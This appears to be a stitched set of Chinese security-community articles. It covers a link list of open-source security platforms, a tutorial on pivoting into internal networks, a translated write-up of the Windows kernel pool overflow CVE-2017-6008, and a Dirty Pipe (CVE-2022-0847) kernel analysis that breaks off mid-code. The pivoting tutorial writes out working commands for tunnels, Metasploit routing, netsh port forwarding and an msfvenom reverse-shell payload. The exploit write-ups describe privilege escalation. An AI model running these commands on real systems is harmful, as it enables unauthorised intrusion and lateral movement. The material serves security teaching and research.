目前信息安全平台搭建使用源码来源（开源大法好），为尊重作者已尽量使用原链接：
安全平台框架：
<https://github.com/martinzhou2015/SRCMS（已有更新）>
XSS跨站平台：
<https://github.com/imlrhui/xssplatform/tree/master/xssplatform>
搭建教程：<https://www.2cto.com/article/201308/239961.html>
攻防演练平台：
1、<https://github.com/710leo/ZVulDrill（已有更新）>
2、<http://www.webug.org/>
3、tea_news（自己开发）、xss挑战、webug见云盘
（链接：<http://pan.baidu.com/s/1sla8GXJ> 密码：ud4f）
Github监控平台：
<https://github.com/0xbug/Hawkeye>
巡风系统：
<https://github.com/ysrc/xunfeng>
另外企业内部安全培训体系的建设也正在进行，大体思路如下，其中部分尚未完成，仅对完成部分分享：链接：<http://pan.baidu.com/s/1sla8GXJ>
密码：ud4f
最后，感谢所有以上提供源码分享的朋友，感谢在整个安全建设过程中提供安全建议、思路、方案及技术分享的朋友如宜人贷、农信互联、阳光保险、易宝支付、58同城、链家、瓜子二手车、货拉拉、阿里云、青藤云、绿盟科技、斗象科技、360企业安全、知道创宇、爱奇艺等（排名不分先后）。 | 社区文章 |
# 前言
我们在内网渗透的过程中一般进入内网过后都是使用代理软件正向或反向连接来达到进入对方内网的目的，但是不同网络环境的情况下使用到的方法又不尽相同，这里就对一些环境的流量转发结合一些实际操作来谈谈自己的理解。
# 一层网络
一层网络的话考虑到的问题不多，主要有以下两3点：
1. 靶机是否有公网ip?
2. 代理的稳定性?
首先是第一点，如果靶机有公网ip则直接使用正向连接，如果没有公网ip，我们访问不到内网主机，那么就让内网主机访问我们，使用反向连接
正向连接我一般使用的是Neo-reGeorg，这款代理软件走的是http协议，也就是说如果靶机限制了web流量的出站的话就需要使用其他代理软件，这里就简单写下操作
首先使用命令生成脚本，密码为123456
python neoreg.py generate -k 123456
在当前目录下就会生成一个文件夹，根据脚本类型上传马即可，这里使用的是php的脚本
将`tunnel.php`上传到靶机的web目录下
执行命令，可以看到已经代理到了本地的1080端口
python neoreg.py -k 123456 -u http://192.168.10.15/tunnel.php
然后使用proxifer代理本地的1080端口即可访问内网资源
反向连接的话我一般使用的是venom，好处的话我个人觉得它的命令相比于其他代理软件比较好记，所以一般用的比较多，也简单写下操作
首先在攻击机上监听7777端口
admin.exe -lport 7777
然后在靶机上执行命令
agent.exe -rhost 192.168.10.8 -rport 7777
返回攻击机执行命令将7777端口接收到的数据转换到5555端口
goto 1
socks 5555
然后使用proxifier代理本地的5555端口
可以看到这里已经代理成功
访问内网的iis服务器即可成功
第二点的话在一层网络的情况下其实稳定性都差异不大，如果是反向连接的话主要取决于vps传输的稳定性，但是在二层、三层网络的情况下确实有些差异，这里我后面会提到。
# 二层网络
何为二层网络？这里一个不太正规但是比较通俗的理解就是使用两次代理软件转发了两次，其实就是在内网中存在两个网段的主机
比如说我公网的vps的ip为25.36.87.95(这里乱写的打个比方)，然后我拿到了公网ip为36.58.69.58(同打比方)的一个shell，内网主机的ip为192.168.2.22。
那么这里ip地址为192.168.2.1-192.168.2.255的主机都在同一网段，如果说我们上线了另外一台主机ip是192.168.2.23，这不能称得上是二层代理，在信息搜集的时候，我们发现ip为192.168.2.22这台主机和A段下的ip为10.10.1.3这台主机建立了ipc连接，如果我们要拿到10.10.1.3这台主机的shell或者上线cs/msf，这才能称得上二层网络代理转发
这里提一个点，不同网段并不是一个ip在C段(192)，一个ip在A段(10)才称得上同一网段，这里如果另外一个与靶机建立ipc连接的主机的ip为192.168.3.3，我们香要上线或拿webshell，也称得上是二层网络
这里还是顺着一层网络的三个问题继续展开，首先是第一点，在二层网络的情况下是否有公网ip已经不重要了，因为是否有公网ip只影响我们内网入口的那台主机的连接方式，这里我们已经进入内网了，这个问题就没有意义了，第二点同一层网络，主要说说第三点
在测试与实战的过程中，最稳定的应该是是venom和frp（这里我的hxd测过在二层网络几个代理软件的稳定性，这里我就直接借用一下hxd的结论了），其他的要么容易断线，要么进行扫描的时候很慢，在二层网络的情况下，我用得最多的还是msf，因为msf添加路由这个功能实在是太香了，无论你有几层都直接添加路由配合socks代理带出来即可，cs这方面就差一点
这里主要演示一下在二层网络中使用msf，这里假设我已经拿到了192.168.2.189这台主机的shell(这里假设我的kali为公网ip，就已经是一层网络)
然后nmap进行扫描得到一个同网段双网卡主机ip为192.168.2.122/10.10.1.129通过漏洞上线到msf(这里就不具体说漏洞的利用了，主要是说下二层网络代理的利用)
这时候我们拿到了一台双网卡主机，通向10.10.1.0/24段
这里首先添加路由，拿到的这个双网卡session为4
route add 10.10.1.0 255.255.255.0 4
route print
use auxiliary/server/socks_proxy
set version 4a
run
然后使用proxychain配合nmap扫描出另外一个处于10.10.1.0/24网段主机的ip为10.10.1.128，可以通过ipc空连接向其传输文件。这时候我们如果直接使用msf生成的木马去上线是不行的，因为10.10.1.0/24这个网段里面的主机可能处于不出网环境下，是访问不到公网ip的，这时候就需要进行流量转发
这个地方两层网络的流量就是从10.10.1.0 ->
192.168.2.0->公网ip，通过10.10.1.129主机当作跳板，把所有经过这台主机的流量全部转到kali上面去
这里为了方便执行windows命令，首先msf给cs派生一个对话
use exploit/windows/local/payload_inject
set lhost 192.168.2.161
set lport 5555
set sessions 4
run
cs打开一个监听端口
msf里面执行，cs中即可上线
这里我们把`192.168.2.122/10.10.1.129`这台主机当作跳板，那么就把所有经过这台主机的流量全部转发到kali(公网ip的vps)上，使用到ipsec
这里简单说一下ipsec
>
> IPsec被设计用来提供（1）入口对入口[通信安全](https://baike.baidu.com/item/通信安全)，在此机制下，分组通信的安全性由单个节点提供给多台机器（甚至可以是整个[局域网](https://baike.baidu.com/item/局域网)）；（2）端到端分组通信安全，由作为端点的计算机完成安全操作。上述的任意一种模式都可以用来构建[虚拟专用网](https://baike.baidu.com/item/虚拟专用网)（VPN），而这也是IPsec最主要的用途之一。应该注意的是，上述两种操作模式在安全的实现方面有着很大差别。
>
>
> 因特网范围内[端到端通信](https://baike.baidu.com/item/端到端通信/3223228)安全的发展比预料的要缓慢，其中部分原因，是因为其不够普遍或者说不被普遍信任。[公钥基础设施](https://baike.baidu.com/item/公钥基础设施)能够得以形成（[DNSSEC](https://baike.baidu.com/item/DNSSEC)最初就是为此产生的），一部分是因为许多用户不能充分地认清他们的需求及可用的选项，导致其作为内含物强加到卖主的产品中（这也必将得到广泛采用）；另一部分可能归因于网络响应的退化（或说预期退化），就像兜售信息的充斥而带来的带宽损失一样。
那么这里我们在cs上执行命令，添加一条ipsec入站规则，这里相当于在10.10.1.129这台主机上打开7788监听端口，转发到192.168.2.105(kali
ip即vps的公网IP)的7788端口
shell netsh interface portproxy add v4tov4 listenport=7788 connectaddress=192.168.2.105 connectport=7788
然后使用命令查看是否添加成功
shell netsh interface portproxy show all
那么到这个地方就相当于我们在10.10.1.129的7788端口得到的所有流量都会被转发到公网的kali上，这里我们再使用msf生成木马的时候lhost就需要写的是内网主机的ip，即10.10.1.129
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.1.129 LPORT=7788 -f exe > abc.exe
然后psexec连接过去执行即可上线msf，这里可以看到connection这个地方是10.10.1.128->192.168.2.122(10.10.1.129)->192.168.2.105(模拟公网ip)，上线成功
另外在cs上也可以对二层网络进行上线，部署监听中转即可，还是演示一下
然后生成一个木马
执行即可上线
另外二层网络这一块说了上线主机的情况，那么在特殊条件下执行命令没有这么简单，而是通过web后台写入shell，而处于二层网络的情况下直接连接也是连接不上的，这里就需要使用到代理
这里我拿到了一个ip为192.168.2.218的meterpreter，然后扫描得到10.10.1.130为一个*达OA存在漏洞可直接getshell
这里使用proxychain访问下是能访问到的，但是如果我们在公网直接去连接是连接不到的
所以首先要添加10.10.1.0段的路由
run autoroute -s 10.10.1.0/24
run autoroute -p
使用socks4a模块
配置proxychains.conf
这时候我们打开公网ip的1080端口就已经拿到了meterpreter的流量，这时候我们再用webshell连接工具配合代理连接即可连接到二层网络的shell
添加php测试连接成功
冰蝎也是大同小异使用代理即可
# 后记
三层代理的情况遇到的很少，可以说是基本没有遇到过，这里就不演示打法了。但是思路都是大同小异，通过边缘主机(即又能访问外网，又能与内网主机通信的机器)来进行流量的转发让我们公网ip的主机能够访问到内网的机器。不过有一点是我在比较疑惑的，在二层网络的情况下，如果存在weblogic、jboss等能通过jar一键getshell的主机，直接使用proxychain是代理不进去的，而且这种jar一般也不像冰蝎、蚁剑那样自带代理功能，这时候就只能我们手动去打了？
另外提一个点，frp跟nps在多层网络里面也是很吃香的，但是这两款软件只能起一个代理的作用，相比于cs、msf的集成功能还是差点意思，所以这里我就没有单独演示frp跟nps，如果单纯论代理软件的话frp跟nps也是比较稳定的。 | 社区文章 |
# 【技术分享】内核池溢出漏洞利用实战之Windows 7篇
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://trackwatch.com/kernel-pool-overflow-exploitation-in-real-world-windows-7/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[an0nym0u5](http://bobao.360.cn/member/contribute?uid=578844650)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
本文重点围绕HitmanPro独立扫描版（版本 **3.7.15-build 281** ）的内核池溢出漏洞（ **CVE-2017-6008**
）展开。这个工具是反病毒软件Hitman.Alert解决方案的一部分，并以SophosClean可执行文件的方式集成在了英国公司Sophos的解决方案中。早在2017年2月，Sophos公司就收到了此漏洞的报告并在2017年5月发布3.7.20-Build
286版本更新了补丁。我们使用 **Ioctfuzzer**
（<https://github.com/Cr4sh/ioctlfuzzer>）发现了首次crash。Ioctfuzzer是一款对输入输出请求包（以下简称IRP）进行模糊测试的强大易用的工具，我们利用此工具捕获到了API函数DeviceIoControlFile并利用该函数作为中间人代理。对于收到的每一个IRP包，它都会先行发送几个伪造的IRP包然后再转发原始IRP包。扫描伊始就出现了崩溃，崩溃发生在
**BAD_POOL_HEADER**
代码初始化阶段。阅读下文之前，我们强烈建议读者了解一些windows下的IOCTL和IRP知识。MSDN文档提供了大量可以帮助你更好地理解本文的信息。本文将要利用的是64位系统下的情景，这比32位系统下更难利用。
**二、详细分析**
****
**2.1 崩溃数据分析**
首先需要弄清楚 **BAD_POOL_HEADER**
错误码的含义，池是内核中动态分配的常见场所，此代码意味着处理池头部时出现了问题。池头是位于块开头的提供块有关信息的结构，如图1所示。
图1 池头结构图
池头很可能已经损坏才导致崩溃，为了验证此设想，我们利用调试器、转储工具还有测试器产生的日志快速找到了有缺陷的IRP包如下：
IOCTL Code: 0x0022e100
Outbuff: 0x03ffe1f4, Outsize: 0x00001050
Inbuff : 0x03ffd988, Insize: 0x00000200
//Device/Hitman Pro 37 [/??/C:/Windows/system32/drivers/hitmanpro37.sys]
这里有几点关键信息：
**C:/Windows/system32/drivers/hitmanpro37.sys**
：处理IRP的驱动程序。由于池损坏导致了崩溃，因此该驱动一定与崩溃有关。
**IOCTL Code: 0x0022e100** ：该IOCTL代码提供了大量信息，稍后会作分析。通过逆向还可以获知以上驱动是如何处理IRP的。
**Outsize / Insize** ：用来在池中分配一些缓冲区，也可能与池损坏有关。
参考[MSDN文档](https://msdn.microsoft.com/en-us/library/windows/hardware/ff543023\(v=vs.85\).aspx)，从IOCTL代码中可以得到如下信息：
DeviceType = 0x22
Access = 0x3
Function = 0x840
Method = 0x0
Method 0x0=METHOD_BUFFERED
“对于METHOD_BUFFERED这种传输类型，IRP提供了一个指向位于Irp->AssociatedIrp.SystemBuffer的缓冲区的指针，该缓冲区代表调用DeviceIoControl和IoBuildDeviceIoControlRequest时的输入缓冲区和输出缓冲区，驱动器就在输入输出缓冲区之间传输数据。
对于输入数据，缓冲区大小由驱动器IO_STACK_LOCATION结构中的DeviceIoControl.InputBufferLength参数指定。
对于输出数据，缓冲区大小由驱动器IO_STACK_LOCATION结构中的DeviceIoControl.OutputputBufferLength参数指定。
系统为单个输入/输出缓冲区分配的空间大小是两个值中较大的那个。“
最后，为了弄清楚在正常情况下IOCTL是如何发送的，我们逆向了HitmanPro.exe可执行文件，利用IOCTL代码和逆向工具IDA快速定位到了问题函数。
可见，分配给DeviceIoControl的Outsize和Insize与崩溃数据吻合，这种情况下，IRP管理器分配的系统缓冲区大小在正常情况下至少为
**0x1050** 字节。
**2.2 逆向驱动器**
我们已经掌握了很多崩溃有关的信息，是时候逆向驱动器 **hitmanpro37.sys**
来看看IOCTL的句柄了。首先，参照IOCTL代码定位调度IRP的函数，通常它是包括一些switch跳转的庞大函数，还好该驱动器并不大我们很快找到了调度器：
跟踪跳转逻辑，我们找到了处理存在漏洞的IOCTL的函数，IRP提供的SystemBuffer首先被传给
**IoGetDeviceObjectPointer** 函数的ObjectName参数：
然后，
非常不错进行到这里了，还记得IOCTL用到的 **METHOD_BUFFERED** 方法吗？
“系统为单个输入/输出缓冲区分配的空间大小是两个值中较大的那个。”
这意味着我们完美控制了SystemBuffer的值，驱动器使用硬编码的值 **0x1050** 调用memset，如果SystemBuffer值小于
**0x1050** ，调用memset会使池损坏进而导致崩溃，这里我们称之为 **内核池溢出漏洞**
。虽然这么说，但是我们到目前为止还没有任何办法控制往此缓冲区写入。它被设置为0然后被DeviceObject中的地址和名字填充，这只有管理员权限才能控制得了，因此此漏洞只会导致操作系统崩溃，该漏洞编号是
**CVE-2017-6007** 。
**2.3 扭转**
到此我们并不甘心，又逆向了更多的处理程序，我们随机挑选了一个处理程序，这真的很有趣：
SystemBuffer（我们的输入）参数用在了一个子函数中，如果子函数返回正确的值，一些数据会通过mwmcpy拷贝到SystemBuffer中，此函数的控制码是
**0x00222000** ：
DeviceType = 0x22
Access = 0x0
Function = 0x0
Method = 0x0
还是利用了同样的方法： **METHOD_BUFFERED** 。
如果我们足够幸运的话，这里可能会有类似的漏洞出现，然而，驱动器的这部分代码非同寻常：
**a**.我们没有在可执行程序HitmanPro中找到任何利用控制码 **0x0022200**
发送IRP的函数，因此在驱动器的这个位置下断点不会触发任何异常。
**b**.我们无法确定这个函数的确切功能，但我们找到了一个漏洞，这已经足够啦。
因此，逆向之旅又开始了。处理驱动后写成了如下伪代码：
驱动器利用SystemBuffer提供的句柄获取到FILE_OBJECT，如果FILE_OBJECT空闲就会调用 **ObQueryNameString**
来获取FILE_OBJECT指向的文件名并存放在临时缓冲区，然后从临时缓冲区复制文件名到SystemBuffer。
驱动器通过如下参数调用 **memcpy** ：
**a. dest** = SystemBuffer ; 大小由我们控制
**b. src** = 我们提供的句柄文件名，写入和大小均可控
**c. n** = src缓冲区的大小；
唯一的限制就是 **ObQueryNameString** 函数，该函数是受保护的，如果源太大就不会复制任何内容到目标区域。
由于目标区域是硬编码0x400大小的缓冲区，我们就不能给出大于0x400的文件名，当然，0x400个字节对于利用缓冲区溢出已经足够了。
**三、利用**
****
**3.1 介绍**
既然是 **内核池溢出漏洞** ，我们就有很多攻击方式可以利用了。要想利用此漏洞， **Tarjei Mandt**
的[文章](http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf)思路再好不过了，如果你想完全了解下一步发生了什么，它将是你必读的文章。这里我们采用的攻击方式是 **配额进程指针覆盖**
，我们选择它是因为这是最优雅的方式之一，32位和64位系统均能实现利用，在此攻击中，我们必须覆盖下一个块的进程指针。
该池头的最后4个字节有一个指向 **EPROCESS** 结构的指针，当有池块被释放时，如果 **PoolType** 设置了 **Quota bit**
，该指针会减小某些与EPROCESS对象有关的值：
**a**. 该对象的 **引用计数** （一个进程是一个对象）
**b**. **QuotaBlock** 字段指向的值
减值之前会有一些检查，我们不可以直接利用对象的ReferenceCount，不过可以伪造一个 **EPROCESS**
结构，并在QuotaBlock字段设置任意指针以减随机的值（内核空间也可以哦）。
kd> dt nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
[...]
typedef struct _EPROCESS_QUOTA_BLOCK {
EPROCESS_QUOTA_ENTRY QuotaEntry[3];
LIST_ENTRY QuotaList;
ULONG ReferenceCount;
ULONG ProcessCount;
} EPROCESS_QUOTA_BLOCK, *PEPROCESS_QUOTA_BLOCK;
**3.2 溢出实现**
为了实现 **配额进程指针溢出** 攻击，我们需要利用我们的溢出覆盖两个东西：
a.下一个块的 **池类型** ，因为我们需要确定已经设置了 **Quota bit**
b.下一块的 **进程指针** ，用一个指向伪造的 **EPROCESS** 结构的指针替换它
因为我们必须获取到下一块的进程指针，所以无论如何必须要覆盖下一块的整个池头，然而我们不能往池头发随机的数据否则会触发BSOD。
我们必须确定如下字段是正确的：
**a**.块大小
**b**.前一个块大小
**c**.池类型
满足此条件的唯一方式是准确获取要覆盖的块，这可以通过 **池喷射技术** 来实现。
这里不会详细阐述如何实现池喷射，但基本思路就是获取这种类型的池：
看起来类似这样：
我们的溢出效果：
溢出前：
溢出后：
**3.3 Payload**
好了，我们可以在任何地址实现减任何值了，下一步做什么呢？我们搜索到了一篇很好的Cesar
Cerrudo[4]的文章，文中讲述了几种提权的技术。还有一点也很有趣，在TOKEN结构中有一个Privileges字段：
typedef struct _TOKEN
{
[...]
/*0x040*/ typedef struct _SEP_TOKEN_PRIVILEGES
{
UINT64 Present;
/*0x048*/ UINT64 Enabled;
UINT64 EnabledByDefault;
} SEP_TOKEN_PRIVILEGES, *PSEP_TOKEN_PRIVILEGES;
[...]
}TOKEN, *PTOKEN;
该字段是包含位掩码的结构体，位掩码 **Enabled**
定义了进程可执行的操作。该位掩码默认值为0x80000000，具有SeChangeNotifyPrivilege权限，从该位掩码中去掉一位变成了0x7fffffff，就拥有了更大的权限，MSDN文档提供了该位掩码的可用的权限列表：
<https://msdn.microsoft.com/fr-fr/library/windows/desktop/bb530716(v=vs.85).aspx>
但是我们没有_TOKEN结构的地址，我们也不应该有因为那是内核地址。幸运的是，我们可以利用众所周知的
**NtQuerySystemInformation**
通过其句柄获取任何对象的内核地址。还可以通过调用OpenProcessToken()函数为我们的token赋予句柄，如果你想更深入了解
**NtQuerySystemInformation()**
函数和常见的内核地址溢出你应该参考[这里](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain't%20one.pdf)。
我们决定触发这个漏洞以获取SeDebugPrivilege权限，该权限可以实现控制系统所有进程，你可以获取任何你想要的权限。
**SeDebugPrivilege** 权限可以允许我们在系统进程中启动线程并反弹一个系统shell。
**四、结论**
****
注意，这个exploit不能在windows
8及更高版本系统中使用，毕竟微软在防御内核漏洞方面做了大量工作。实际上，虽然此exploit不能用在windows
8及更高系统版本上并不意味着这些版本不能被攻破，你可以在[github](https://github.com/cbayet/Exploit-CVE-2017-6008)上看到我的exploit源代码，windows 10系统下如何利用类似的漏洞这是 **Nuit du Hack XV**
大会的主题。
**五、参考文献**
****
[1] <https://github.com/Cr4sh/ioctlfuzzer>– Simple ioctl fuzzer
[2]<https://msdn.microsoft.com/en-us/library/windows/hardware/ff543023(v=vs.85).aspx> – Defining IOCTL code
[3] <http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf>– Tarjei Mandt
paper
[4]<http://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf> – Easy local
Windows Kernel exploitation by Cesar Cerrudo.
[5][https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain't%20one.pdf](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%E2%80%99t%20one.pdf)—
Leaking Kernel Addresses
[6] <https://github.com/fishstiqz/poolinfo>– This extension is great for
investigating the pool state
[7] <https://github.com/cbayet/Exploit-CVE-2017-6008>– Source code of the
exploit | 社区文章 |
# 0x00.一切开始之前
CVE-2022-0847 是这两天刚爆出来的一个热乎的内核漏洞，漏洞主要发生在对管道进行数据写入时，由于未对原有的
`pipe_buffer->flags` 进行清空，从而导致了 **可以越权对文件进行写入**
；由于这样的漏洞形式类似于“脏牛”（CVE-2016-5195），但更加容易进行利用，因此研究人员将该漏洞称之为「Dirty Pipe」
据研究者描述，目前 **5.8 版本以上的内核均会收到该漏洞的影响** ，在 **5.16.11** 、 **5.15.25** 、
**5.10.102** 版本中才被修复，影响范围不可谓不大，因此这个漏洞也得到了高达 7.2 的 CVSS 评分
这个漏洞的发现源自于一次 CRC
校验失败，感兴趣的可以看[原作者的博客](https://dirtypipe.cm4all.com/)，是一段十分奇妙的旅程（笑）
本次选用进行分析的内核源码为 Linux 5.13.19（因为笔者前些天刚好编译了一个这个版本的内核，刚好受到该漏洞影响，就直接拿来用了）
在开始分析之前，我们先来补充一些前置知识
## pipe：管道
稍微接触过 Linux 的同学应该都知道「管道」这一 IPC 神器。而在 Linux 内核中，管道本质上是创建了一个 **虚拟的 inode**
（即创建了一个虚拟文件节点）来表示的，其中在节点上存放管道信息的是一个 `pipe_inode_info`
结构体（`inode->i_pipe`），其中包含了一个管道的所有信息
当我们创建一个管道时，内核会创建一个 VFS inode 、一个 `pipe_inode_info` 结构体、两个文件描述符（代表着管道的两端）、一个
`pipe_buffer` 结构体数组，下图是一张叙述管道原理的经典图例
用来表示管道中数据的是一个 `pipe_buffer` 结构体数组，单个 `pipe_buffer` 结构体用来表示 **管道中单张内存页的数据** ：
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: 管道缓冲区中存放了数据的页框
* @offset: 在 @page 中数据的偏移
* @len: 在 @page 中数据的长度
* @ops: 该 buffer 的函数表， 参见 @pipe_buf_operations.
* @flags: 管道缓冲区的标志位，参见上面
* @private: 函数表的私有数据
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
创建管道使用的 pipe 与 pipe2 这两个系统调用最终都会调用到 `do_pipe2()` 这个函数，不同的是后者我们可以指定一个
flag，而前者默认 flag 为 0
存在如下调用链：
do_pipe2()
__do_pipe_flags()
create_pipe_files()
get_pipe_inode()
alloc_pipe_info()
最终调用 `kcalloc()` 分配一个 `pipe_buffer` 数组，默认数量为 `PIPE_DEF_BUFFERS`
（16）个，即一个管道初始默认可以存放 16 张页面的数据
struct pipe_inode_info *alloc_pipe_info(void)
{
struct pipe_inode_info *pipe;
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
struct user_struct *user = get_current_user();
unsigned long user_bufs;
unsigned int max_size = READ_ONCE(pipe_max_size);
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
//...
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
管道形成的核心结构如下图所示
> page 结构体用以 **唯一标识一个物理页框** ，参见
> <https://arttnba3.cn/2021/11/28/NOTE-0X07-LINUX-KERNEL-MEMORY-5.11-PART-I/>
管道的本体是一个 `pipe_inode_info` 结构体，其管理 `pipe_buffer` 数组的方式 **本质上是一个循环队列** ，其 head
成员标识队列头的 idx，tail 成员标识队列尾的 idx， **头进尾出**
/**
* struct pipe_inode_info - a linux kernel pipe
* @mutex: 保护一切的互斥锁
* @rd_wait: 空管道中读者的等待点
* @wr_wait: 满管道中写者的等待点
* @head: 缓冲区的生产点
* @tail: 缓冲区的消费点
* @note_loss: 下一次 read() 应当插入一个 data-lost 消息
* @max_usage: 在环中使用的 slots 的最大数量
* @ring_size: 缓冲区的总数 (应当为 2 的幂次)
* @nr_accounted: The amount this pipe accounts for in user->pipe_bufs
* @tmp_page: 缓存的已释放的页面
* @readers: 管道中现有的读者数量
* @writers: 管道中现有的写者数量
* @files: 引用了该管道的 file 结构体数量 (protected by ->i_lock)
* @r_counter: 读者计数器
* @w_counter: 写者计数器
* @fasync_readers: reader side fasync
* @fasync_writers: writer side fasync
* @bufs: 管道缓冲区循环数组
* @user: 创建该管道的用户
* @watch_queue: If this pipe is a watch_queue, this is the stuff for that
**/
struct pipe_inode_info {
struct mutex mutex;
wait_queue_head_t rd_wait, wr_wait;
unsigned int head;
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
bool note_loss;
#endif
unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;
unsigned int r_counter;
unsigned int w_counter;
struct page *tmp_page;
struct fasync_struct *fasync_readers;
struct fasync_struct *fasync_writers;
struct pipe_buffer *bufs;
struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
struct watch_queue *watch_queue;
#endif
};
### 管道函数表：
阅读 pipe 系统调用源码，注意到如下调用链：
do_pipe2()
__do_pipe_flags()
create_pipe_files()
alloc_file_pseudo()
在创建管道文件的函数 `create_pipe_files()` 中，传入 `alloc_file_pseudo()` 的函数表为
`pipefifo_fops`，这便是管道相关的操作的函数表
int create_pipe_files(struct file **res, int flags)
{
//...
f = alloc_file_pseudo(inode, pipe_mnt, "",
O_WRONLY | (flags & (O_NONBLOCK | O_DIRECT)),
&pipefifo_fops);
//...
该函数表中定义了我们对管道的相关操作会调用到的函数
const struct file_operations pipefifo_fops = {
.open = fifo_open,
.llseek = no_llseek,
.read_iter = pipe_read,
.write_iter = pipe_write,
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release,
.fasync = pipe_fasync,
.splice_write = iter_file_splice_write,
};
### 管道的写入过程
查表 `pipefifo_fops` 可知当我们向管道内写入数据时，最终会调用到 `pipe_write` 函数，大概流程如下：
* 若管道非空且上一个 buf 未满，则先尝试向上一个被写入的 buffer写入数据（若该 buffer 设置了`PIPE_BUF_FLAG_CAN_MERGE` 标志位）
* 接下来开始对新的 buffer 进行数据写入，若没有`PIPE_BUF_FLAG_CAN_MERGE` 标志位则分配新页面后写入
* 循环第二步直到完成写入，若管道满了则会尝试唤醒读者让管道腾出空间
这里我们可以看出 `PIPE_BUF_FLAG_CAN_MERGE` **用以标识一个 pipe_buffer 是否已经分配了可以写入的空间**
，在大循环中若对应 pipe_buffer 没有设置该 flag（刚被初始化），则会 **新分配一个页面供写入，并设置该标志位**
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
/* Null write succeeds. */
if (unlikely(total_len == 0))
return 0;
__pipe_lock(pipe);
if (!pipe->readers) { // 管道没有读者，返回
send_sig(SIGPIPE, current, 0);
ret = -EPIPE;
goto out;
}
#ifdef CONFIG_WATCH_QUEUE
if (pipe->watch_queue) {
ret = -EXDEV;
goto out;
}
#endif
/*
* 若管道非空，我们尝试将新数据合并到最后一个buffer 中
*
* 这自然会合并小的写操作，但其也会对
* 跨越多个页框的大的写操作的剩余写入操作
* 进行页面对齐
* （译注：大概就是先尝试把数据写到管道的最后一个buffer（如果对应 page 没写满的话））
*/
head = pipe->head; // 获取队列头
was_empty = pipe_empty(head, pipe->tail); // head == tail
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) { // 管道非空，且上一个 buf 没写满
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask]; // 找到上一个 buf
int offset = buf->offset + buf->len;
/*
* 设置了PIPE_BUF_FLAG_CAN_MERGE标志位，
* 说明该 buffer 可用于直接写入，
* 直接把数据拷贝进去后就返回
*/
// 注：这是漏洞利用的写入点
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
}
// 写满 last buffer 对应数据后，接下来将剩余数据写到往后的 buffer 中
for (;;) {
if (!pipe->readers) { // 没有读者，返回
send_sig(SIGPIPE, current, 0);
if (!ret)
ret = -EPIPE;
break;
}
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) { // 管道没满，正常写入
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) { // 没有预先准备page，分配一个新的
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
/* 提前在环中分配一个 slot，并附加一个空 buffer。
* 若我们出错或未能使用它，
* 它会被读者所使用，
* 亦或是保留在这里等待下一次写入。
*/
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
if (pipe_full(head, pipe->tail, pipe->max_usage)) { // 管道满了，开启下一次循环
spin_unlock_irq(&pipe->rd_wait.lock);
continue;
}
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* 将其插入 buffer array 中 */
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp)) // 设置 buffer 的 flag，若设置了 O_DIRECT 则为 PACKET
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe->tmp_page = NULL;
